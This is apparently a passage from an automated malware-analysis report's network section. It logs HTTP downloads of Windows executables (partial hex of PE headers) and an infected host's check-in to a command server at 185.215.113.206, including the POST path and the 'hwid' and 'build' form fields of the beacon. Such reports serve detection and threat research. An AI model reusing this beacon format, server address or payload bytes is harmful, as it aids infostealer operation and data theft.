00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 16:54:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 16:54:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 16:54:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 16:54:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 16:54:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 16:54:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHIDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 33 45 41 38 31 33 44 43 38 30 31 31 32 38 30 35 36 36 34 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="hwid"933EA813DC801128056648------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="build"tale------IJKKKFCFHCFIECBGDHID--
